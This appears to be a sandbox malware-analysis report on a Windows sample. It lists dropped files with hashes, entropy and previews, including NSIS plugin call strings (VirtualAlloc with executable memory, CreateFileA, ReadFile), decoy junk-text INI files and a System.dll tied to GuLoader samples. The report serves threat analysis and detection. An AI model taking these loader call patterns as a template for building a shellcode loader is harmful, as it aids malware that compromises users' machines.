Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4869
Entropy (8bit):	4.572513923029755
Encrypted:	false
SSDEEP:	48:cvIwWl8zsfJg77aI9IrWpW8VYdYm8M4JnULqFBn+q8wFpODREXW0R0I9d:uIjfBI76a7VxJnU+3fODRkW0R0I9d
MD5:	2E0F7BC3C07D99D3B3FF50AA8F41E26D
SHA1:	A8DA69DD48BB3E11185B135B01B71ED2A3773ECF
SHA-256:	AE149C7DCD8E42AC137A3C38CEAF46C2196905BD8D66C030DF8F07E4BB22C82A
SHA-512:	40FA4B4A49770A38A986518AB26A20404A220C2368FD71DF1E63BCC9C2DF597B7ACB1243EAB6CCEE56103BA360AAFDC585335AE595D9795E2802903DE1048070
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="725498" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF50.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Feb 18 04:36:16 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	103912
Entropy (8bit):	2.0688642527968324
Encrypted:	false
SSDEEP:	384:qugr9BdebH+neFZLp5AaYbD+CxsCKMDCr2CrMO7q4kbKwYoDYmiu1J:a9HebHlFZ0v2IZKMDDTO24
MD5:	06BB622B4AF41D87071157966BD0973B
SHA1:	631A7B75C0EA452902E85C07A7EF39C77A955A90
SHA-256:	77A3664F108D26B2FE62105C6ADF6F7CB2C73B097492BD7AE5C2F2EC3960C452
SHA-512:	98DD335C3F8CEE19FCF8E0C120F333D63651B7B56F9FC0EFDDBB67F8A154ED24D884A35BC3C302364C0B385814007978A2A535AA34DE909BCDB454A706D74039
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......@..g........................T................J..........T.......8...........T...........HJ...K..........@"..........,$..............................................................................eJ.......$......GenuineIntel............T.......$...4..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Alpha.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.628848957968553
Encrypted:	false
SSDEEP:	3:YOm45GXQLQIfLBJXmgxv:5TGXQkIP2I
MD5:	B895D576D6637A778B387B2FCA0F56EC
SHA1:	E78D2BE4D94673D612C16D29C330BB0C78778429
SHA-256:	BFEC1E97ED5D34825521D60B98986D1564CD159B4D1F9569EAE4C3464D2F5C47
SHA-512:	B4A771D1B517A2776BA440F79F168306C244DF1A6DE1966313157154D8D52BEAD8131B95F846C2F55C15382E04284FFFC6CF6ABF3F6FCFCB259DF2EA58D769E5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Current]..Ini=user32::EnumWindows(i r1 ,i 0)..

C:\Users\user\AppData\Local\Temp\nsd40C8.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.2374237263273615
Encrypted:	false
SSDEEP:	3:sAAEVvjs7VTkJPMj84n:fL2WBMt
MD5:	8AB2ED0D7EA85D3E1B3DDE2C77C015BC
SHA1:	8EBE26267A524D1CEAF569725D326CB437908EAD
SHA-256:	1725E2D7A711F706AD0342987E0424044D6B08D681DDCFA2ECAC7482E3CF6C3A
SHA-512:	24342CA99FEE51A9974A33AC0B5AE9F8C8E0BAF81A8ABF847B3110F63F1FDEADD2FD9AEC307F885D9DEE9D09B158EFD5B48144CFECA64BF91E1F85DB1DE480AB
Malicious:	false
Reputation:	low
Preview:	kernel32::ReadFile(i r5, i r1, i 46620672,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.770824470205811
Encrypted:	false
SSDEEP:	192:PPtkumJX7zB22kGwfy0mtVgkCPOs81un:E702k5qpds8Qn
MD5:	B8992E497D57001DDF100F9C397FCEF5
SHA1:	E26DDF101A2EC5027975D2909306457C6F61CFBD
SHA-256:	98BCD1DD88642F4DD36A300C76EBB1DDFBBBC5BFC7E3B6D7435DC6D6E030C13B
SHA-512:	8823B1904DCCFAF031068102CB1DEF7958A057F49FF369F0E061F1B4DB2090021AA620BB8442A2A6AC9355BB74EE54371DC2599C20DC723755A46EDE81533A3C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe, Detection: malicious, Browse Filename: rquotation.exe, Detection: malicious, Browse Filename: z1QuotationSheetVSAA6656776.exe, Detection: malicious, Browse Filename: z1QuotationSheetVSAA6656776.exe, Detection: malicious, Browse Filename: CdB3FZ9vyI.exe, Detection: malicious, Browse Filename: z65PurchaseOrderNo_0072024_pdf.exe, Detection: malicious, Browse Filename: z65PurchaseOrderNo_0072024_pdf.exe, Detection: malicious, Browse Filename: Nondesistance.exe, Detection: malicious, Browse Filename: Nondesistance.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....z.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso4378.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsp3898.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nss324D.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsw3C14.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.437907837484891
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjMXVTkJF8UxQoXUn:nWLXxvUn
MD5:	B95CF17D3725535E0541CC89EAA12274
SHA1:	B22BA1A39F7E0AC68424641025A8F62D298118E8
SHA-256:	85FAB5A296818B80298FAF98A94432DFF2A90D2E6DE342D03583BEA71036407A
SHA-512:	A28445D9EFBB7BB7ACB94480C1846FD97ECDAEE87FAC005F6D19F248A0C75D53FC50AEE19FC2002392354BE42830B5830E4F5F38C8A677D7F230C57AC1ECE5F7
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 46620672, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Helveders.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	38
Entropy (8bit):	4.115834092163221
Encrypted:	false
SSDEEP:	3:OBamvOnOKXDJ+B:uamXoVQ
MD5:	57236E5883AC72789FE46439440C54AF
SHA1:	EE1BD5CF0B8C44213BC88C09E241EBA31A79DC7B
SHA-256:	23568A0963E32E55958D6E7D442DEE234EB8AE8F2BCACD57B30FA6944253E791
SHA-512:	F43DF2AC8A135B97C6A0A228F30298BBB7CA4328EEABAE655C3065C979C470C5124EC6EE10F5E681B44B7D627F407A05B49754FCEBDBB3542D56BFC77C97115B
Malicious:	false
Preview:	[Slenderly]..krykkekors=undeflective..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Enculturating.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	373
Entropy (8bit):	4.6689888819839975
Encrypted:	false
SSDEEP:	6:u8RULdljrMCRX/BFkQy3J8E2+HF7xWZFukJt44tjoWCioZXHfLLznE6ARYBJe:uA8ACKQvn+l9WTn/joYoZXHjLLESBJe
MD5:	EA57DEBB5ED0FCC284A13708B57DF4B5
SHA1:	829BB4B4625C889FB7BE1129DBB44C5CA9C3463A
SHA-256:	CA4E5E4D2E8EE9E3A7C19358469280289474E701CF23180372F95A975E8E7B5B
SHA-512:	DCDA231F390809E486B24399573713746A90A02006BF829BE59F66A58A421212F82768DDBDF3BBC89497B1C32318E8D090175BF041681C12D64D5F3423F97CDE
Malicious:	false
Preview:	;lrestningerne langbaade undertippet.Indvikl outbrag bravurarie nondifferentation disabused forbrugerstyrelsen..[VOLDTGTSDMTE FIGURTYPENS]......omikron subindicate macrogonidium,diskvalificerende udladere syltetjskrukkerne balas afvnningskurenes snidely languaged..aktionssprogenes kickup daredevils rennins snksmedjer.Banketters miilimetre iridical spidnings helsefysiks..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Innaturally.Adr

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	data
Category:	dropped
Size (bytes):	43085
Entropy (8bit):	4.544521253877672
Encrypted:	false
SSDEEP:	768:uXPdKCGOhPxcyFsQ3u450nHZUjfaCswy7fnV2CPvyC:ylhjhsQe450nHGfHa/5XyC
MD5:	1E58EA09D9EF51FABC650BA879DE3957
SHA1:	6AE54DA4F7EBC25D7BC8A52C398E7501F00DB960
SHA-256:	2830376D488FCCE3679FBD721D9AB4A38C63771FA90F4AE97492C1C7DEB9AAEB
SHA-512:	3D5C9EC9A95D1E30BD4C37BE1F4B94FEB5437A0B53B1C97ACAA3D8C63DBEEA8FC6F3615F3748317D6F4AB3ECCC818D58FDE07207836DA9036EB29CAB44353CC9
Malicious:	false
Preview:	..r.......T......````````......................l...S...S......))))))..".y....''.............o............l.\|............................((............<<..&&&....................................>......g....88.c.ss..........6..................(..P.....XX.\|\|\|.....tt..............4..........................o.K.....................N.... ..........****..DD..www.\|\|.............99.99.v.......x..........]]..22./.......eeee..G........%...####.....111.$..\|\|\|\|.UU............./....................>>...........4......?...S.///..........''.........q.................................\\.b..ll............................"....X.aa.........----......N.}}}}}}.............................??......eeee....................@..............)))))...._.....33._.....L....................00.'........&.999.........B............JJ.........@@@@............a.///...........xx...#....................G.ww.....www......(....T..%..............L...[.......................MMM.....................R......=...&..............((((.Z

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\Sfarer248.rgs

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	data
Category:	dropped
Size (bytes):	214120
Entropy (8bit):	1.2579565170685552
Encrypted:	false
SSDEEP:	768:q5nvyKGXCnISP0EVK0SaU31cnnQGGPHYv19dX9b6UU1DURU+3bmbKTLVaHF4RhuS:aqKXnFy1OAiXJipY
MD5:	96B2F505D112A6F57388F3094D161250
SHA1:	E8BEEF63CFAB5DBBF8FE5D3433CCB0E1BD0C30CB
SHA-256:	89737BBD79CBE18E3A0CA679A61F40A4F8426FF5A20A8D5FA16E9F468D024ADF
SHA-512:	34B0C0306589E7D5C813FC97ED51A9F96B19E86CDF5EA0582AD918F5A3AC5980161F16DA7893285BE4D38DDE34CE3386D0A242E3AD1983B198C11D911895EDC3
Malicious:	false
Preview:	\|\|\|\|\|\|\|\|\|\|\|\|\|\| \|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|_\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|.\|\|.\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|.\|\|\|\|\|\|\|q\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|@\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|R\|\|\|\|\|..\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|XF\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|.\|\|\|\|\|\|\|\|\|P\|\|\|.\|\|\|\|\|\|.\|\|\|.\|\|\|?\|\|\|\|.\|\|\|.\|\|\|`\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|.\|.\|\|\|\|.\|\|.\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|8\|\|\|\|\|\|:\|]\|\|\|\|\|\|~\|.\|\|\|i\|\|\|\|\|\|\|\|\|C\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|t\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|z\|\|\|\|\|\|\|\|\|.\|\|\|H\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|w\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.l\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|..\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|..\|=\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|E\|5\|\|\|\|[\|\|\|\|\|.\|\|\|\|]\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|V\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|A\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|.d,.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|C\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|.\|\|\|\|.\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|M\|\|\|\|\|G\|S\|\|\|\|\|.\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|T.\|.\|\|\|\|\|\|\|\|\|<\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|u\|\|\|\|\|\|

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\Snorelofts.sam

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	5View capture file
Category:	dropped
Size (bytes):	435668
Entropy (8bit):	1.253832121572574
Encrypted:	false
SSDEEP:	3072:NKIEw9ZoxgquiPFmuHbpNx7eMjiqYAvKHJD0LMC12XdglxUiUKREgR8CzgO75Q01:hMrhB
MD5:	37F81FE171AF7FFB40CA626AAF49C62D
SHA1:	19C8F00E9697E02C1EA6318E5A76D1AE12EE99D1
SHA-256:	295E99D5CFF9FD679416772E4BE849B28FD9D26878A0FB6BCD938ED569389661
SHA-512:	1E157EFF96AFE784319820EEF8A4BAD0A311974B54EA9968FE20D06BFD39572DCF3C6CA147D08B842647A491118C4B8DD6CF1BD565FC5BFAA4BF47665058C895
Malicious:	false
Preview:	...........V...........................)...........................................................=.....I..............................T..................5..................6......................@........................................................d..............................................,...................................................................0........_..........................B............................m...........................e........................5.<..............................................................................\..........................................s...................q..........Z........<...........................................f...)..............\|..........................b.......,..................C.............................................................)........................................................................`...........................................................p.........

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\Svanehalsens40.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.480171964505095
Encrypted:	false
SSDEEP:	3:rCA2rL0AIZAXCRxR62tyvLxMHLbFRMgdov+jE3uqrygitHjDxlvyy:W7L0LoUx0992brMgA3TrzidjDXT
MD5:	89BD48202FA5C0E5862F7217C2E8BC7E
SHA1:	D3DFD6451B0EAB34FBE4CD2BAE5CD5734DB92BC4
SHA-256:	91A28F8430ECED63B1963DDF512DCD5F495215F2E9C8B5D3ED30F1FF592A399F
SHA-512:	FE5210EAC9736655F0746127A9D2697A97162C0F70E2E66A29AE5ACAFF9E7AE188BA0E0F60A7D7BE32656419AC3B54A433F5C3F9FCEA78CB9DA87DC8B1CD9FE8
Malicious:	false
Preview:	....gevandts pennetegningers terrasserings tredveaariges engsnarernes.Tingestens hogtying tilisning enfrenzy..[FLORENTINERES HVNGERRIGT]......

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\aeroenterectasia.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	479
Entropy (8bit):	4.343563883081814
Encrypted:	false
SSDEEP:	12:0kuwpmq0bmPFIITWKCgTNK8R6woSCsGYaA9vGvLFDaH3:0BwpmDm/T8ZkvGdAhKLFWX
MD5:	B37F8F4DD6D203E91BF9B52164B0E930
SHA1:	F498B348D3EF9D9F28439959D734A275F3718A2C
SHA-256:	19D128854E9A737A66F1D78C4D7EACCD5CC6ADE765C4E626580828711BD34277
SHA-512:	51D77666407859F68F00B2C9F3DA8E886E8ABB8471D17C419E097C2FAAE93F8DE0CCB4B0CC28BE56B1A5C019C5FAF5D412E7D26BD544804A69AEB8660F1EDDAB
Malicious:	false
Preview:	..;rodlike forspandenes knalder variabelformerne.Dannemorite glykosens doubletons thallogenous tribader..[atle deeskalationernes]....hanke trivialromanerne gametoid quantization gasopvarmningen dobler stroemforsyning interneuronal,rhoda lighedstegnets kloakeringsprojektets nagana netdrift ostracioid..huntress plugging bjedes rgtppes extemporising fiskerkoner frontbetjent macabre.Blusses odouriferous scullion edels sprjtenarkomanerne albinal brudbjergs lagereddike glassenes..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\bovnende.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	781
Entropy (8bit):	4.440913869058056
Encrypted:	false
SSDEEP:	24:eMXVxcuu06yM2/vl9fq2y988SAk2B8yhV:eMlru03Dnl9fLypSAkhyhV
MD5:	EA579519E716D838A6AB18E046341A08
SHA1:	815A032D93679FAB52C35FADB9F08C0B51A75724
SHA-256:	7811FB74BB8885BDFF228CE12DD351D79853786B20648122375A59204200AC38
SHA-512:	C020DF01710B43ADE68AAAD5D2DD0D057007FCEC78303E475AF25A212DE2CD269691611C42BCF393507C13034F66DAFFA8FC0FCDA990FE2042FB3DB095EA1D8B
Malicious:	false
Preview:	crocanthemum rigsdaler substansens womanizations semionotidae overnattedes relikters forsrgelsespligternes opmrksomhedsvrdi sultestrejkedes.Illing versemen dataskrmen selenolatry disennoble endosmotic forlses slotsaftapnings gravmonumenters alkoholismen deterring..sdvanligt vermilionette detaljeprojekteringerne landjordens eksportforbuddenes processionizes caruncula bisat diskvalificmbr udbyttedelings bibeltroen.Proferment procurers gaar afstandsformlens ushabtiu reyoking yarned..[PALSTINENSERNE LEADOFFS]..Sunstar scavager tredivtedels otolaryngology printene stockading summarisation soldanrie admiralskibs pramblet..nazificeret motionsgymnastik advarselssignalerne slettetasternes kamuflerendes refrigerator udvalgsmdernes.Bilfragterne modulations visedigter gevinsternes..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\derimellem.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	Generic INItialization configuration [sacredly monocarps]
Category:	dropped
Size (bytes):	275
Entropy (8bit):	4.645241049855579
Encrypted:	false
SSDEEP:	6:0Bpt0IkBXzKRMblggulSY2+e5LZA1RWAuQhElBS4Fq:0BT0IkhzBelSRVgU384Lq
MD5:	7D769C4365CA475B13B0D7D3FF060839
SHA1:	39A0854376445A023CEC7E0987142E1670CE8CF9
SHA-256:	4E3BB0A39D1C62DF3536CC0E9731F45E7577E922E01A0A3EEC3CF9B75CE024E2
SHA-512:	830B199CCA6058A4A17E3EE34C3875837509BE243D8FCF7CAAED2C1599F87FFF7BB42303966A5D7FDFDBD329B6658DC5F61A52A8E2D64FD2A3D8B85AAD1EF12C
Malicious:	false
Preview:	....Earlships blomsterudstilling udsanerernes ingbritts alperose bogbinderes tovninger piqure unsolicitousness..[SPANTETS INDSAETTELSEN]..overgangsreglers lamingvr immoment.Biologize roderigo kollationeredes quebrith jnana preoverthrown margenlinierne..[sacredly monocarps]..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\nonredundant.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	339
Entropy (8bit):	4.386002311199939
Encrypted:	false
SSDEEP:	6:eTMJWn6uG/xCKALCME9jvn4XxtGRlcXgQMzAjDJAWrF4SMgvNXlKjXnLfWqEKYTK:MIM6uG/Q7LcjvXcQJSAWrF/wL+BhK
MD5:	27B2BA9A77B5AC1124E34924F8BCF439
SHA1:	61BB651112CACEB90B3F8D55B4FB70A8BF290C5D
SHA-256:	89EED45CE89233A0DB0CE806E06F9F0D871BDFF0B2452174BC9424D492F3400B
SHA-512:	0A18590A9ED34CED58624B2F84EB7DE8E17BBE6BA17DD79E63A267898526DB91D7666E17C3ACA48AF23F190A6B182BEEA9ACDB22D0DAE9D4B7CC4E76DFFB8FBC
Malicious:	false
Preview:	....Tavshedslfters pseudoclassical cobbled skeletonizers uncivilizes oralsex........;rengringsdamer mejslingernes hvalfangere gullable minidisks nucelli.Shovelboard axumite emmeriks albatrosses trvesmuldet..parflesh damianist underbegavethed glossagra disjoins varmtvandshanerne tilfredsstillelses.Neoconservatives tabuleringer acrologic..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\nytaarsforstters.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 178x533, components 3
Category:	dropped
Size (bytes):	11613
Entropy (8bit):	7.938426026696142
Encrypted:	false
SSDEEP:	192:Lbo5WFAOldq2TTsnS6z6DPy7yR0JrN1HzaVP8A2W3oFbutJFBa1OYswbWeRp7Mhy:3oI2Ofq20R67eBH+VPaW3uu1qhswyeRv
MD5:	A26FDA60840D7433C2B9F03FF5B6313F
SHA1:	59E8062AACF7B5EE2BFA5B93E9DA575B71E93B6C
SHA-256:	CF4CB340522CBF86D73BC79CBC19E16ABD4957194F5951D1F8745A307A7EE125
SHA-512:	C609BF930ABB7B5B48E4AA1F53AA2D8AF52B985E9808993C17978E7C943E7854ADF245ACF6A57A90A0CDE487706355AA7619AB1C9A71382C9497D2CEEE273CC4
Malicious:	false
